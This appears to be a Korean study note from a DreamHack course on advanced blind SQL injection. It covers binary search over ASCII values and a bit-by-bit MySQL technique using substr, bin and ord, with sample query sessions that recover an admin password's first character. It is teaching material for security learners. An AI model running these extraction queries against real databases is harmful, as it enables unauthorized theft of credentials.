[DreamHack]-WHA ExploitTech: 블라인드 SQL 인젝션 고급
Blind SQL Injection을 통해 데이터베이스의 내용을 효율적으로 알아내기 위한 방법
Binary Search
이미 정렬된 리스트에서 임의의 값을 효율적으로 찾기 위한 알고리즘
1. 범위 지정
0부터 100 사이의 범위 내에 한 숫자만이 정답일 때 범위의 중간 값(50)을 지정
2. 범위 조절
정답이 50 보다 큰 값인지 확인
큰 값이라면 범위를 51 ~ 100으로 조절하고, 아니라면 0~49로 조절하여 검색 범위를 좁혀나감
이 과정을 반복하다보면 범위를 크게 좁힐 수 있고, 최종적으로 정답을 찾아낼 수 있음
Binary Search를 이용한 공격
substr 함수의 반환값을 비교하여 패스워드를 알아낼 수 있음

비밀번호에 포함될 수 있는 아스키에서 출력 가능한 문자의 범위는 32~126
패스워드의 첫 번째 바이트가 79보다 큰 값인지 확인
비밀번호의 첫 번째 바이트가 'P' 즉, 80이므로 결과가 참인 것을 확인
이처럼 해당 쿼리에 이진 탐색 알고리즘을 적용한 과정을 반복
Bit 연산
ASCII는 0부터 127 범위의 문자를 표현할 수 있으며, 이는 곧 7 개의 비트를 통해 하나의 문자를 나타낼 수 있다는 것을 의미
하나의 비트는 0과 1로 이뤄져 있음
7 개의 비트에 대해 1인지 비교하면 총 7 번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있음
MySQL에서는 숫자를 비트 형태로 변환하는 bin이라는 함수를 제공
비트 연산을 통한 Blind SQL Injection 예시
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)
substr과 bin을 통해서 총 7 번의 쿼리를 실행해 한 바이트를 알아낼 수 있음
총 7번의 쿼리로 반환 결과를 통해 한 바이트를 알아낼 수 있음
결과를 토대로 2 진수를 표현하면 1010000이며 이를 10 진수로 표현하면 80, 문자로 표현하면 'P'가 됨